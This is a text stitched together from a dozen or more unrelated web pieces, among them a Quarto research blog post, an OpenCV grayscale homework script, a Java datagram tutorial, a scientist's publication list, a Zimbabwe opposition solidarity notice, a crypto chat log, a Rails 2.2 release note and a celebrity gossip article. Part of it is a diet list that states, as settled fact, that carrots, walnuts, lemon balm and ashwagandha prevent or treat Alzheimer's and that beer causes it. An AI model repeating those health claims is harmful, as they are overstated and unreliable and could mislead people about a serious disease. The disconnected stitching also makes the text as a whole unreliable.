This week, just before I decided to redo my lab website in quarto, I also tried using quarto for a research project instead of vertical, and that’s what really sold me.
Quarto for new research
I am not sharing this website yet because the project is still in very early stages of development. However, it has been really fun and productive to use quarto from the very beginning of the project.
At this stage, graduate student Drew Shives and I know our research direction, but we are still doing a lot of reading, combined with stimulus creation, and experiment-idea generation. It’s a lot of creative work that can get messy very fast in terms of keeping track of notes, code, and ideas. This is where I have found using quarto as a personal research organization tool very useful.
Here’s a quick look at the setup, and why I like it. First, I used R Studio to create a new quarto website project. Then, I modified _quarto.yml as follows:
project:
type: website
output-dir: ../docs/quarto
website:
title: "DRMsource"
navbar:
left:
- href: index.qmd
text: Home
- about.qmd
- href: ../index.html
text: R package
sidebar:
- title: "Home"
style: "floating"
collapse-level: 3
align: left
contents: auto
format:
html:
theme: minty
css: styles.css
toc: true
editor: visual
In quarto 1.2 (pre-release build), there is a really nice feature for auto-generating navigation in the side bar. For example, in the above yaml, under sidebar (which controls the left-side navigation on the webpage), I set the contents option to auto. As a result, the name of any folder in the project will be converted to a section header, and the title of each .qmd inside a folder will be added to navigation list under each section. Here is the current directory structure of the project:
Right now I’m creating things in three different folders: Aims, Design, and Reading. Any .qmd
file inside a folder automatically get’s rendered to the website, and listed under sections. I have a .qmd
for developing project motivation in the Aims folder, a bunch of .qmds
for stimulus generation in the Design folder, and a couple .qmd
s to keep track of readings in a readings folder.
This project organization structure may or may not last very long, depending on what happens as we work through the project. Fortunately, it is a snap to change the structure. Just rename the folders, or switch files between folders, and the website automatically updates itself. That’s great.
Less to do with quarto, and more to do with Rstudio’s new and improved visual editor, I’m super excited about how easy it is to add content in rmd
or qmd
files. Like it I want to add a screen shot, I take one and drag/drop it onto the text in the visual editor, and it automatically gets added to an images
folder. That’s fire. And, zotero integration for easy citing while writing, is more fire.
So, hurrah for quarto! And, it’s about to be another Friday night, which means I need to stop writing and hit the render button.


Assignment 4 and task 4
Convert the image to the grayscale and using histogram equalization increase the brightness of the dark.jpg image. Save resulted images
ID: U1610131 Name: Madiyor Abdukhashimov
importing opencv library - to be able to import opencv you need to install it using pip. The process of installation is provided in README.md
import cv2
import numpy as np
the value of brightness, which is in the range of 0 to 100
value = 80 # brightness control in range [0 - 100]
we are reading the image from the images
directory
image = cv2.imread('images/dark.jpg')
getting the dimensions of the image
h, w, d = image.shape
just resizing it to the half
resized_image = cv2.resize(image, (int(w/2), int(h/2)))
converting the image to the grey color
grey = cv2.cvtColor(resized_image, cv2.COLOR_BGR2GRAY)
equalizing the grey scale image color distribution
grey_equalized_image = cv2.equalizeHist(grey)
we are substracing the grey matrix elements from 255 and making them 100, 255, and adding the birghtness
bright_image = np.where((255 - grey) < 100, 255, grey + value)
saving
cv2.imwrite('results/task4/original_grey.jpeg', grey)
cv2.imwrite('results/task4/grey_equalized_image.jpeg', grey_equalized_image)
cv2.imwrite('results/task4/bright_image.jpeg', bright_image)
end of the saving process
displaying
cv2.imshow('original', grey)
cv2.imshow('gray_equalized_image', grey_equalized_image)
cv2.imshow('bright', bright_image)
cv2.waitKey(5000)
end of the displaying


july 10, 2015
How do I feel about taking on Dev Bootcamp?
Terrified. Hopeful. Anxious. Proud. Eager. Apprehensive. Relieved. Enthusiastic.
In short: so freakin' thrilled. My future looks bright. For the first time in years, I have a sense of direction. I'm excited about this new career path, and especially stoked to jumpstart it at DBC. I can't wait to learn a buncha new skills and make a buncha new friends.
In doing my bootcamp research, DBC was constantly emerging as a strong choice because of the emphasis put on mind, body, and spirit well-being, in addition to the general curriculum. This differentiation is important for me, because Dev Bootcamp is only one stretch of path on a much longer journey to self-improvement. When I looked at my life and realized I was not as happy or fulfilled as I could be, I decided to do something about it. In order to stay motivated and sure of my way, I feel it's important to be surrounded by positivity, and hopefully even others who are on similar adventures. I think the environment at DBC is one where I will thrive.
Of course I'm scared. I'm afraid I won't be able to keep up. That I won't enjoy it. That I've bitten off more than I can chew. That maybe it was selfish of me to abandon a perfectly fine life to take a chance on something new.
But, screw that. I'm not willing to settle for fine. Fine is fine for some people. But I want amazing. I want to be proud of the work I've done at the end of every day. I want to be fulfilled. Inspired. One of the lucky ones who love what they do.
A few months ago I didn't even know there was such a thing as a developer bootcamp. Today, it consumes me. And tomorrow, well, I can't wait to find out.


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The client application in this example is fairly simple. It sends a single datagram packet to the server indicating that the client would like to receive a quote of the moment. The client then waits for the server to send a datagram packet in response.
Two classes implement the server application:
QuoteServer
and QuoteServerThread
.
A single class implements the client application: QuoteClient
.
Let's investigate these classes,
starting with the class that contains the main
method for the server application.
Working With a Server-Side Application contains an applet version of the QuoteClient
class.
The QuoteServer Class
The
QuoteServer
class,
shown here in its entirety, contains a single method:
the main
method for the quote server application.
The main
method simply creates a new QuoteServerThread
object and starts it:
import java.io.*; public class QuoteServer { public static void main(String[] args) throws IOException { new QuoteServerThread().start(); } }
QuoteServerThread
class implements
the main logic of the quote server.
QuoteServerThread
ClassQuoteServerThread
creates a DatagramSocket
on port 4445 (arbitrarily chosen).
This is the DatagramSocket
through which
the server communicates with all of its clients.
public QuoteServerThread() throws IOException { this("QuoteServer"); } public QuoteServerThread(String name) throws IOException { super(name); socket = new DatagramSocket(4445); try { in = new BufferedReader( new FileReader("one-liners.txt")); } catch (FileNotFoundException e) System.err.println("Couldn't open quote file. " + "Serving time instead."); } }
DatagramSocket
will fail.
The constructor also opens a BufferedReader
on a file named one-liners.txt
which contains a list of quotes.
Each quote in the file is on a line by itself.
Now for the interesting part of the QuoteServerThread
: its
run
method. The run
method overrides run
in the Thread
class and
provides the implementation for the thread.
For information about threads, see
Defining and Starting a Thread.
The run
method contains a while
loop
that continues as long as there are more quotes in the file.
During each iteration of the loop,
the thread waits for a DatagramPacket
to arrive over the DatagramSocket
.
The packet indicates a request from a client.
In response to the client's request,
the QuoteServerThread
gets a quote from the file,
puts it in a DatagramPacket
and sends it over the DatagramSocket
to the client that asked for it.
Let's look first at the section that receives the requests from clients:
byte[] buf = new byte[256]; DatagramPacket packet = new DatagramPacket(buf, buf.length); socket.receive(packet);
DatagramPacket
. The DatagramPacket
will be used to receive a
datagram from the socket because of the constructor used to create it.
This constructor requires only two arguments: a byte array that
contains client-specific data and the length of the byte array. When
constructing a DatagramPacket
to send over the DatagramSocket
, you also
must supply the Internet address and port number of the packet's
destination. You'll see this later when we discuss how the server
responds to a client request.
The last statement in the previous code snippet receives a datagram from the socket (the information received from the client gets copied into the packet). The receive method waits forever until a packet is received. If no packet is received, the server makes no further progress and just waits.
Now assume that, the server has received a request from a client for a quote. Now the server must respond. This section of code in the run method constructs the response:
String dString = null; if (in == null) dString = new Date().toString(); else dString = getNextQuote(); buf = dString.getBytes();
in
equals
null. If this is the case, the quote server serves up the time of day
instead. Otherwise, the quote server gets the next quote from the
already opened file. Finally, the code converts the string to an array
of bytes.
Now, the run
method sends the response
to the client over the DatagramSocket
with this code:
InetAddress address = packet.getAddress(); int port = packet.getPort(); packet = new DatagramPacket(buf, buf.length, address, port); socket.send(packet);
The third statement creates a new DatagramPacket
object intended for
sending a datagram message over the datagram socket. You can tell that
the new DatagramPacket
is intended to send data over the
socket because of the constructor used to create it. This constructor
requires four arguments. The first two arguments are the same required
by the constructor used to create receiving datagrams: a byte array
containing the message from the sender to the receiver and the length
of this array. The next two arguments are different: an Internet
address and a port number. These two arguments are the complete address
of the destination of the datagram packet and must be supplied by the
sender of the datagram. The last line of code sends the DatagramPacket
on its way.
When the server has read all the quotes from the quote file,
the while
loop terminates and the run
method cleans up:
socket.close();
QuoteClient
class implements a client application for the QuoteServer
. This
application sends a request to the QuoteServer
, waits for the response,
and, when the response is received, displays it to the standard output.
Let's look at the code in detail.
The QuoteClient
class contains one method, the main
method for the
client application. The top of the main
method declares several local
variables for its use:
int port; InetAddress address; DatagramSocket socket = null; DatagramPacket packet; byte[] sendBuf = new byte[256];
main
method processes the command-line arguments
used to invoke the QuoteClient
application:
if (args.length != 1) { System.out.println("Usage: java QuoteClient <hostname>"); return; }
QuoteClient
application requires one command-line arguments:
the name of the machine on which the QuoteServer
is running.
Next, the main
method creates a DatagramSocket
:
DatagramSocket socket = new DatagramSocket();
DatagramSocket
to any available local port.
It doesn't matter what port the client is bound to
because the DatagramPacket
s contain the addressing information.
The server gets the port number from the DatagramPacket
s
and send its response to that port.
Next, the QuoteClient
program sends a request to the server:
byte[] buf = new byte[256]; InetAddress address = InetAddress.getByName(args[0]); DatagramPacket packet = new DatagramPacket(buf, buf.length, address, 4445); socket.send(packet);
InetAddress
and the port number 4445 (the port number
that the server used to create its DatagramSocket
) are then used to
create DatagramPacket
destined for that Internet address and port
number. Therefore the DatagramPacket
will be delivered to the quote
server.
Note that the code creates a DatagramPacket
with an empty byte array.
The byte array is empty because this datagram packet is simply
a request to the server for information.
All the server needs to know to send a response--the address and port number
to which reply--is automatically part of the packet.
Next, the client gets a response from the server and displays it:
packet = new DatagramPacket(buf, buf.length); socket.receive(packet); String received = new String(packet.getData(), 0, packet.getLength()); System.out.println("Quote of the Moment: " + received);
DatagramSocket
receive method to receive the reply
from the server. The receive method waits until a datagram packet
destined for the client comes through the socket. Note that if the
server's reply is somehow lost, the client will wait forever because of
the no-guarantee policy of the datagram model. Normally, a client sets
a timer so that it doesn't wait forever for a reply; if no reply
arrives, the timer goes off and the client retransmits.
When the client receives a reply from the server, the client uses the getData method to retrieve that data from the packet. The client then converts the data to a string and displays it.
QuoteServer
class name.
Once the server has started, you can run the client program. Remember
to run the client program with one command-line argument: the name of
the host on which the QuoteServer
is running.
After the client sends a request and receives a response from the server, you should see output similar to this:
Quote of the Moment: Good programming is 99% sweat and 1% coffee.


Insomnium
Top Artists
arkenthera
Scrobbles
469863
Artists
0
Albums
0
Shadows of the Dying Sun
Top Albums


41, Davies Street, Ajelogo Bus Stop, Alapere, Ketu, Lagos State
+2348104403054
<EMAIL_ADDRESS>| Invoice No. | #{{invoice.invoiceNo}} | |
| Date | {{invoice.dateCreated.split('T')[0]}} | |
| Customer | {{getCustomerName(invoice.customerID)}} | |
| Payment Status | Paid | Unpaid |
| Amount. | ₦{{invoice.amount}} |
| Amount Paid | ₦{{invoice.amountPaid}} |
| Balance | ₦{{invoice.balance}} |


The following functions are now defunct (no longer available):
col_classification
: See classification
eol_hierarchy
: See classification
tp_classification
: See classification
tpl_search
: Use the Taxonstand functions
TPL
or TPLck
directly.
get_seqs
: This function changed name to ncbi_getbyname
.
get_genes
: This function changed name to ncbi_getbyid
.
get_genes_avail
: This function changed name to ncbi_search
.
ncbi_getbyname
: See ncbi_byname
in the traits package.
ncbi_getbyid
: See ncbi_byid
in the traits package.
ncbi_search
: See ncbi_searcher
in the traits package.
eol_invasive
: See eol
in the originr package.
gisd_isinvasive
: See gisd
in the originr package.
ubio_classification
: The uBio web services was down for quite a while, is
now (as of 2016-05-09) back up, but we don't trust that it will stay up and available.
ubio_classification_search
: The uBio web services was down for quite
a while, is now (as of 2016-05-09) back up, but we don't trust that it will stay up
and available.
ubio_id
: The uBio web services was down for quite a while, is
now (as of 2016-05-09) back up, but we don't trust that it will stay up and available.
ubio_ping
: The uBio web services was down for quite a while, is
now (as of 2016-05-09) back up, but we don't trust that it will stay up and available.
ubio_search
: The uBio web services was down for quite a while, is
now (as of 2016-05-09) back up, but we don't trust that it will stay up and available.
ubio_synonyms
: The uBio web services was down for quite a while, is
now (as of 2016-05-09) back up, but we don't trust that it will stay up and available.
get_ubioid
: The uBio web services are apparently down indefinitely.
phylomatic_tree
: This function is defunct. See
phylomatic
in the package brranching
phylomatic_format
: This function is defunct. See
phylomatic_names
in the package brranching


Lyberger K, Osmond MM, Schreiber S. 2020. Evolution in response to extreme events: good or bad?. bioRxiv 10.1101/2<IP_ADDRESS>951.
doi
PEER-REVIEWED
Henriques GJB, Osmond MM. Accepted. During environmental change, cooperation can promote rescue or lead to evolutionary suicide. Evolution.
doi
Osmond MM, Coop G. 2020. Genetic signatures of evolutionary rescue by a selective sweep. Genetics.
doibioRxivslidestalk
Klausmeier CA, Osmond MM, Kremer CT, Litchman E. Accepted. Ecological limits to evolutionary rescue. Philosophical Transactions of the Royal Society B.
Osmond MM, Otto SP, Martin G. 2020. Genetic paths to evolutionary rescue and the distribution of fitness effects along them. Genetics 214:493-510.
doibioRxivGitHubposter
Thompson KA, Osmond MM, Schluter D. 2019. Parallel genetic evolution and speciation from standing variation. Evolution Letters 3:129-141.
doibioRxiv
Edwards KF, Kremer CT, Miller ET, Osmond MM, Litchman E, Klausmeier CA. 2018. Evolutionary stable communities: a framework for understanding the role of trait evolution in the maintenance of diversity. Ecology Letters 21:1853-1868.
doi
(email me for a pdf)
Scott MF*, Osmond MM*, Otto SP. 2018. Haploid selection, sex ratio bias, and transitions between sex-determining systems. PLoS Biology 16:e2005609. [* joint first authors]
doiGitHubbioRxivpresentation"press"
Osmond MM, Klausmeier CA. 2017. An evolutionary tipping point in a changing environment. Evolution 71:2930-2941.
doiGitHubslidesshiny-app
Osmond MM, Otto SP, Klausmeier CA. 2017. When predators help prey adapt and persist in a changing environment. The American Naturalist 190:83-98.
doiGitHubpresentationF1000Prime"press"
Osmond MM, Barbour MA, Bernhardt JR, Pennell MW, Sunday JM, O'Connor MI. 2017. Warming-induced changes to body size stabilize consumer-resource dynamics. The American Naturalist 189:718-725.
doiGitHub
Toews DPL, Delmore KE, Osmond MM, Taylor PD, Irwin DE. 2017. Migratory orientation in a narrow avian hybrid zone. PeerJ 5:e3201.
doipdf
Osmond MM, Otto SP. 2015. Fitness-valley crossing with generalized parent-offspring transmission. Theoretical Population Biology 105:1-16.
doiGitHubbioRxivslidesposter
Osmond MM, Reudink M, Marra P, Germain R, Nocera J, Boag P, Ratcliffe L. 2013. Relationships between carotenoid-based female plumage and age, reproduction, and mate colour in the American Redstart (Setophaga ruticilla). Canadian Journal of Zoology 91:589-595.
doipdf
Osmond MM, de Mazancourt C. 2013. How competition affects evolutionary rescue. Philosophical Transactions of the Royal Society B 368:20120085.
doipost-pre-printposterslides
OTHER
Osmond MM. 2018. Adaptive challenges: fitness-valley crossing and evolutionary rescue. PhD thesis.
pdf
Osmond MM. 2012. Eco-evolutionary rescue: an adaptive dynamic analysis. MSc thesis.
pdf
Cragg J, Burger A, Osmond MM. 2011. Radar monitoring of Brachyramphus murrelets on Kodiak Island, 2010. Report to U.S. Geological Survey, Anchorage, Alaska.
pdf


Ken Burns Carousel
A bare and extremely light web component that displays a set of images with a ken burns effect.
Default Configuration With Five Images
This carousel can be easily used by placing a ken-burns-carousel
anywhere in your body. By default, slides are set to 20s with a fade of 2.5s.
<ken-burns-carousel
images="https://source.unsplash.com/Qh9Swf_8DyA
https://source.unsplash.com/O453M2Liufs
https://source.unsplash.com/1OtUkD_8svc
https://source.unsplash.com/gIgciC_WKnY
https://source.unsplash.com/LCguCXU3Ffk">
</ken-burns-carousel>
Slide and Fade Duration
The slide and fade durations can be easily modified using HTML attributes.
<ken-burns-carousel
fade-duration="1000"
slide-duration="5000"
images="https://source.unsplash.com/Qh9Swf_8DyA
https://source.unsplash.com/O453M2Liufs
https://source.unsplash.com/1OtUkD_8svc
https://source.unsplash.com/gIgciC_WKnY
https://source.unsplash.com/LCguCXU3Ffk">
</ken-burns-carousel>
Animation Direction
By setting the animation direction to either normal
, reverse
or random
,
you can decide if images should always zoom in, out or randomly decide.
<ken-burns-carousel
fade-duration="4000"
slide-duration="10000"
animation-direction="normal"
images="https://source.unsplash.com/Qh9Swf_8DyA
https://source.unsplash.com/O453M2Liufs
https://source.unsplash.com/1OtUkD_8svc
https://source.unsplash.com/gIgciC_WKnY
https://source.unsplash.com/LCguCXU3Ffk">
</ken-burns-carousel>
Animation Names
You can choose between different ken burns styles by setting the animation-names
attribute.
You can find a list of all available styles
in the code.
<ken-burns-carousel
animation-names="ken-burns-center"
images="https://source.unsplash.com/Qh9Swf_8DyA
https://source.unsplash.com/O453M2Liufs
https://source.unsplash.com/1OtUkD_8svc
https://source.unsplash.com/gIgciC_WKnY
https://source.unsplash.com/LCguCXU3Ffk">
</ken-burns-carousel>
Filters
By setting the --img-filter
variable in CSS, you can apply a custom filter to every image.
<style>
ken-burns-carousel {
--img-filter: grayscale(100%);
}
</style>
<ken-burns-carousel
images="https://source.unsplash.com/Qh9Swf_8DyA
https://source.unsplash.com/O453M2Liufs
https://source.unsplash.com/1OtUkD_8svc
https://source.unsplash.com/gIgciC_WKnY
https://source.unsplash.com/LCguCXU3Ffk">
</ken-burns-carousel>


MDC calls for solidarity for youth assembly leader in court to day
by Stephen JakesThe main opposition political party, MDC has called for solidarity for MDC Youth Assembly Secretary General Gift Ostallos Siziba who is appearing in court today.
In a notice MDC Spokesperson Daniel Molokele called for solidarity with Ostallos.
"Tomorrow (9 December 2019) today the MDC Youth assembly Secretary General Cde Ostallos will be appearing in Rotton row court at 9am for charges of inciting public violence," he said.
"We are inviting fellows Democrats and revolutionaries to attend the court at Rotton in solidarity with our fellow cadre. We continue to fight, until victory!! Be there!!!"


{% extends "base/dashboard.html" %} {% block stylesheets %} {% endblock %} {% block body %}
You can update your experiment code while the experiment is running; if you refresh the browser, you should be able to see your changes.
Note: Certain files (in particular, JS scripts) are cached by the browser, and so might not be updated by an ordinary refresh. In such cases you may need to force the browser to do a non-cached refresh. The shortcut for this is typically Cmd-Shift-R (Mac) or Ctrl-Shift-R (Linux, Windows).


| Created: | 1/27/2021 3:53:35 PM |
| Modified: | 1/27/2021 3:53:35 PM |
| Project: | |
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Public varchar(255) created_by |
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Public timestamp with time zone(0) created_at |
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Public timestamp with time zone(0) updated_at |
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Public varchar(255) updated_by |
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Public timestamp with time zone(0) start_date |
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Public timestamp with time zone(0) end_date |
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Public boolean is_spa_number_required |
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Public funding_source_service_categories_pkey( id: serial, |
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Details:
<<PK>>
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Public funding_source_service_categories_funding_source_id_service_cat( funding_source_id: integer, |
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Details:
<<unique>>
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| Tag | Value |
| Owner | public |
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Details:
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| Property | Value |
| isFinalSpecialization: | 0 |


Open source (MIT License).
John Hatton (SIL Papua New Guinea, Palaso): Design, C# & Javascript Programming, Artwork
Jim Albright (SIL International): Primer Stylesheet, Indonesia Front Matter
Tom Hindle (SIL International): Lead for the GeckoFX project
Marlon Hovland (SIL International): Documentation
Marvin Nichols, Frank Frantzen: Testing
Bruce Cox & Jeremy Brown have contributed javascript code.
Glenys Waters, SIL International
Michael Cochran, Cambell Prince, Jon Coombs, David Coward, Hannes Hirzel (SIL International)
Payap University Linguistics Institute, Chiang Mai, Thailand
JetBrains for free open-source license for Resharper, which keeps our c# code clean and agile, TeamCity, which we use for continuous integration/builds, and WebStorm, for editing html and javascript.
Microsoft, for inexpensive licenses of Visual Studio 2010.
Atlassian, for free open-source license for JIRA, where we keep bug reports.
Chorus Send/Receive Library: © SIL International (MIT)
USB icon designed by Dara Ullrich from The Noun Project
Earth icon designed by Francesco Paleari from The Noun Project
Network icon designed by Stephen Boak from The Noun Project


The body of Tobias Niemiro, co-owner of Bitmarket was discovered yesterday with a bullet shot to the head. The circumstances of his death are uncertain.
Anybody use BitMarket ?
2300 BTC gone
LocoMB27-Jul-19 05:32 AM
never heard of that one... but 2300BTC is fat pot
Tek27-Jul-19 08:13 AM
how much kmd do i need to make it
ph03nix27-Jul-19 08:21 AM
0.777
Cruz X (10)27-Jul-19 09:05 AM
@Tek lol.. you're speaking 4Chan
Tek27-Jul-19 09:06 AM
i am working the wage again
so i can continue dump all my savings in crypto
Cruz X (10)27-Jul-19 09:06 AM
The wage is the wage
Tek27-Jul-19 09:06 AM
i don't even need a car to get to my new job
so i can really dump everything in
Cruz X (10)27-Jul-19 09:07 AM
If u aren't the one footing the bills and running the show, ur wage
Over 90 percent of the world is wage bro
250k KMD would be nice
Tek27-Jul-19 09:08 AM
I know, 90% are wage slaves. the difference is with cryptos you can get out of the wage. wage money ( dollars and euro ) are designed to keep you waging forever.
so i tend to not save any euros or dollars at all if i don't have to
Cruz X (10)27-Jul-19 09:08 AM
No, the way you live is designed to keep you waging
Tek27-Jul-19 09:08 AM
also, but the money a wager saves also.
Cruz X (10)27-Jul-19 09:08 AM
Can be significant
I'm a minimalist
I don't have excess
No credit cards
Tek27-Jul-19 09:09 AM
lets say you wage for 50k over 10 years of waging. Great, but now you can only buy 30k worth of goods for that 50k...
if you understand
minimalist is nice
I tried sleeping on the floor a few times
Cruz X (10)27-Jul-19 09:09 AM
If u wage $50k in a year, u keep about $36k
U pay in 20-25% tax
That's $3k a month
Tek27-Jul-19 09:10 AM
i live in socialist europe. building 50k of savings over 10 years is a great accomplishment here
for the average wager
Cruz X (10)27-Jul-19 09:10 AM
That's a great accomplishment anywhere
Don't listen to the noise
That's a significant amount of money
Tek27-Jul-19 09:11 AM
its not significant
Cruz X (10)27-Jul-19 09:11 AM
Do u have it?
Tek27-Jul-19 09:11 AM
yes
Cruz X (10)27-Jul-19 09:11 AM
And u really think it's not significant?
Tek27-Jul-19 09:11 AM
it isn't, i can't buy a house.
house + land
with it
i can't buy anything of significance with it
Cruz X (10)27-Jul-19 09:11 AM
You could pay for 40% of a home in the US in certain cities


Period - Pick the start and end dates during which circulation will be counted.
Subdivide Selected Period - If 'no', you will get a total count for the entire period. If 'yes', then you will get counts for individual months or years or days within the period.
Call Number Range - Enter one or more LC call number subject areas, e.g. D-F or H1-99 or HG. You will get circ counts for each subject area you enter, as well as a count of "Non LC" circulation — circulation of callnumbers that match your ranges alphabetically, but are not LC callnumbers. If your LC ranges overlap with each other, some circulation events will be counted multiple times (e.g. "H" by itself is interepreted as all social sciences, H-HX, so "H" on one line and "HF" on the next counts HF twice).


Pre-Columbian art refers to the visual arts of indigenous peoples of the Caribbean, North, Central, and South Americas until the late 15th and early 16th centuries, and the time period marked by Christopher Columbus' arrival in the Americas.
Pre-Columbian art thrived throughout the Americas from at least 13,000 BCE to the European conquests, and sometimes continued for a time afterwards. Many Pre-Columbian cultures did not have writing systems, so visual art expressed cosmologies, world views, religion, and philosophy of these cultures, as well as serving as mnemonic devices. These cultures produced a wide variety of visual arts, including painting on textiles, hides, rock and cave surfaces, bodies especially faces, ceramics, architectural features including interior murals, wood panels, and other available surfaces.


--- layout: post title: ! 'Rails 2.2 RC2: Last stop before final' categories: - releases author: David published: true date: 2008-11-14 15:55:00.000000000 +00:00 ---
Rails 2.2 has been baking for long enough now. This is the last taste before the goodies are served. So please install and check it out. See if you can find any regressions or bugs in any of the new stuff, so we can have it all delicious by the time we ring the dinner bell (ok, ok, I’ll put down the food metaphor now).
This release also conciedes with the fact that we’ve branches 2-2-stable, which means that master is now actually targeting Rails 2.3/3.0. There’s also a tag available for this RC as v2.2.1.
If you missed RC1, have a look at the Rails 2.2 release notes to see the major additions. You can see what’s new since RC1 in these two This Week in Edge Rails.
To install, you must first have RubyGems 1.3.1:gem update --system
.
Then you can:gem install rails -s http://gems.rubyonrails.org
Enjoy!


Turmeric called super spice is a powerful anti-inflammatory and many studies show that regular consumption will prevent the onset of getting Alzheimer's and boosts cognitive ability.
Coconut oil is free of cholesterol and trans fats. Studies show that coconut oil may prevent dementias like Alzheimer's. There is nothing wrong with trying it.
Research shows that extra virgin olive oil may protect the brain from getting Alzheimer's.
Carrots contain beta-carotene that prevents Alzheimer's. Eat carrots that have vivid color, it contains high beta-carotene.
A brain shaped nut is really good for the brain, loaded with antioxidants, omega 3 fatty acids when regularly consumed improves motor coordination, memory, brain activity and reduces the chance of getting Alzheimer's.
Blueberries are superfruits fully loaded with powerful antioxidants that repairs cells, DNA damaged by free radicals. Research suggests that they help to prevent, reduce or slow down the chance of getting Alzheimer's.
Lemon balm, a herb that consumed increases the cognitive functions. Research also shows that lemon balm worked significantly well on Alzheimer's patients and boosted their cognitive ability.
Ashwagandha mixed with warm water or honey has a great effect on the mental system. Ashwagandha is a brain booster. It alters the chemical activity, boosts cognitive ability and also helps Alzheimer's patients by inhibiting the formation of beta-amyloid plaques.
Salmon is a great source for Omega 3 fatty acids and are considered as a great food for the brain.
Contains vitamin E, folate and choline that helps with brain cognition, consuming pumpkin also helps and is also a great food for Alzheimer's.
These foods build up proteins in the body that have been associated with Alzheimer’s.
Processed meats, such as bacon, smoked turkey. smoked meats like these contain nitrosamines, which cause the liver to produce fats that are toxic to the brain.
Most beers contain nitrites, which have been linked to Alzheimer’s.
Consuming these causes a spike in insulin production and sends toxins to the brain.
Microwave popcorn contains diacetyl, a chemical that may increase amyloid plaques in the brain. Research has linked a buildup of amyloid plaques to Alzheimer’s disease.


Survey Form
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{% extends "transformation-base.html" %} {% load modelview_tags %} {% block content %}
This ist the LinDA transformation tool.
It will help you transform your data into RDF triples.
Please choose a data type which you want to transform to RDF.
Alternatively, choose an existing CSV/Excel transformation.
{% endif %} {% if db_mappings.count > 0 %}Alternatively, choose an existing rdb transformation.
{% endif %} {% if mappings.count == 0 and db_mappings.count == 0%}


Tammy Hembrow Shows Off Toned Legs, Abs In Skintight Workout Gear To Promote Black Friday Sale
November 25, 2019
Tammy Hembrow Shows Off Toned Legs, Abs In Skintight Workout Gear To Promote Black Friday Sale
Tammy Hembrow‘s hard work at the gym has certainly paid off. The famous Instagram face took to her Instagram on Monday afternoon to share a gym selfie in which she rocked a skintight pink set that showed off her curves.
The photo showed Tammy standing beside a window at what looked to be public gym as the afternoon light poured in. To her other side, a row of treadmills could be seen, but the area was empty except for one other gym-goer in the background.
The YouTube personality rocked a crop-top-style sports bra in a light pink color with white around the trim. The top featured a unique cutout at the chest, allowing some of Tammy’s ample cleavage to peek through. The mother’s toned, tan abs were on full display between the top and a pair of matching pink workout leggings, which hugged her pins closely and emphasized the curves of her pert derrière. She slightly leaned on one hip, further showing off the muscles in her legs.
Tammy accessorized the look with some gray ankle weights, white sneakers, and wireless ear buds. In one hand, she held her phone to snap the photo, while in the other she held a pink supplement shaker from Women’s Best. Her blond hair was pulled back into a messy bun behind her head and she appeared to be rocking a natural makeup look.
With her eyes pointed at the phone in her hand, Tammy faced the mirror and flashed a sultry gaze.
The caption revealed that Tammy’s post was a promotion for Women’s Best’s Black Friday sale. She also tagged Saski, noting that the outfit came from the fashion brand.
The post garnered over 28,000 likes and more than 100 comments in just under an hour, proving to be popular with Tammy’s followers.
“OMG THE GIRL OF MY DREAMS!! ACTUALLY EXISTS!!?? OR AM I STILL DREAMING??? PLEASE LMK IF THIS IS REAL LIFE OR AM I JUST IMAGINING YOU??” one fan excitedly asked.
Loading...
“U beautiful just beautiful ciaooooooo Bella,” another follower wrote.
“You’re my all time FAVORITE Tammy,” a third user added with pink hearts.
A fourth fan said Tammy looked like “cotton candy.”
The Australian babe has been wowing her fans with some seriously sultry Instagram posts lately. On Sunday, she steamed up the social media platform with a photo of herself laying down in wet sand while wearing a soaking wet, see-through tank top with no bra and a pink thong.


About Me
Some interesting facts(?) about myself
Q: Where are you from?
New Jersey.
Q: No, where are you really from?
Nosey much? Black River, Jamaica.
Q: How many siblings do you have?
Zero. I am the sole victor of an inner womb battle to the death.
Q: What’s your favorite color?
Q: Whats your favorite animal?
Q: What’s your favorite planet?
C’mon man, I love this place. And Tatooine.
Q: What’s your middle name?
Hugh. Laurie. No, actually just Hugh.
Q: What’s your favorite holiday?
Halloween a.k.a. annual Saw movie night.
Q: Day or night?
Night, but don’t mug me bro.
Q: Coke or Pepsi?
Do they even sell Pepsi up here?
Q: Black or white?
I’m black. Was that the question?
Q: Left-handed or right-handed?
Right-handed. I am one of the chosen people.
Q: Dogs or cats?
Neither, unless I can get one of the Queen’s pembroke welsh corgis or Salem Saberhagen.
Q: Quiet or loud?
Shhh.
Q: Social or antisocial?
The truth lies somewhere in between.
Q: What’s your favorite movie, currently?
As of 2013-07-28, The Social Network.
Q: Favorite movie of all time?
Q: What’s your favorite song, currently?
As of 2013-07-28, “I appear missing” from Queens of the Stone Age’s …Like Clockwork.
Q: Favorite video game, currently?
As of 2013-07-28, The Last of Us.
Q: Favorite video game of all time?
Q: Favorite programming languages?
- Ruby 2. Rust 3. Scala 4. Clojure 5. Not Java
Q: Least favorite programming language?
I’ll take a cup of Java, Alex, for $200.
Q: Aren’t you being overly harsh?
Ha, I’m kidding.  I’m not kidding about that.
Q: Favorite web application framework that you spend 80% of your waking time working with?
Why, Ruby on Rails of course.


flixel.system.debug.LogStyle
- type
- class
A class that allows you to create a custom style for FlxG.log.advanced().
Also used internally for the pre-defined styles.
Constructor
- parameters
Prefix
A prefix which is always attached to the start of the logged data.
Color
The text color.
Size
The text size.
Bold
Whether the text is bold or not.
Italic
Whether the text is italic or not.
Underlined
Whether the text is underlined or not.
ErrorSound
A sound to be played when this LogStyle is used.
OpenConsole
Whether the console should be forced to open when this LogStyle is used.
CallbackFunction
A callback function that is called when this LogStyle is used.


Lets you define and monitor the tasks you are working on.
Sign Up! or login with your existing account
Activities
Entries
Stats
2015 hoeselm, Crafted with in Vienna, Austria.


| Modifier and Type | Class and Description |
|---|---|
class |
AbstractBatchedNodeTupleOutputFormat<TKey,TTuple,TValue extends AbstractNodeTupleWritable<TTuple>>
Abstract output format for formats that use a
AbstractBatchedNodeTupleWriter as their writer |
class |
AbstractStreamRdfNodeTupleOutputFormat<TKey,TTuple,TValue extends AbstractNodeTupleWritable<TTuple>>
Abstract output format for formats that use the RIOT
StreamRDF API to
stream the writes |
class |
QuadsOutputFormat<TKey>
An output format for RDF quads that dynamically selects the appropriate quad
writer to use based on the file extension of the output file.
|
class |
TriplesOrQuadsOutputFormat<TKey>
An output format for RDF triples/quads that dynamically selects the
appropriate triple/quad writer to use based on the file extension of the
output file.
|
class |
TriplesOutputFormat<TKey>
An output format for RDF triples that dynamically selects the appropriate triple
writer to use based on the file extension of the output file.
|
| Modifier and Type | Class and Description |
|---|---|
class |
JsonLDQuadOutputFormat<TKey> |
class |
JsonLDTripleOutputFormat<TKey> |
